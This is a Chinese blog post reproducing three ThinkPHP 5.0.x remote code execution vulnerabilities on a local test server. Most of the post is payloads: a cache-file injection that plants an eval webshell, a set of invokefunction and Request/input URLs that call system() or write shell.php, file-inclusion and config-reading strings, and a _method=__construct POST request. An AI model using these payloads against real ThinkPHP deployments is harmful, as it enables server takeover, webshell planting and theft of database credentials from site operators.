ThinkPHP 5 代码执行漏洞复现+POC

ThinkPHP 5 代码执行漏洞复现+POC


ThinkPHP 5.0.10 环境框架搭建

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。

查看当前版本

环境搭建成功

缓存类导致RCE

版本

5.0.0<=ThinkPHP5<=5.0.10

测试payload

漏洞利用条件

  1. 基于tp5开发的代码中使用了Cache::set 进行缓存
  2. 在利用版本范围内
  3. runtime目录可以访问

创建一个生成缓存的页面

构造payload如下:

http://127.0.0.1/public/?username=syst1m%0d%0a@eval($_GET[_]);//

成功在缓存文件写入payload

http://127.0.0.1/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php?_=phpinfo();

成功执行代码

未开启强制路由导致rce

版本

5.0.0<=ThinkPHP5<=5.0.10

测试payload

5.1.x :

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

当前环境版本是5.0.10,构造payload如下:

http://127.0.0.1/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

成功执行代码

method任意调用方法导致rce

版本

5.0.0<=ThinkPHP5<=5.0.10

测试payload

构造payload如下:

POST /index.php?s=index HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=whoami

成功执行代码

参考

Thinkphp5 RCE总结
Thinkphp5 代码执行学习

posted @ 2020-06-09 21:26  只言  阅读(5608)  评论(0编辑  收藏  举报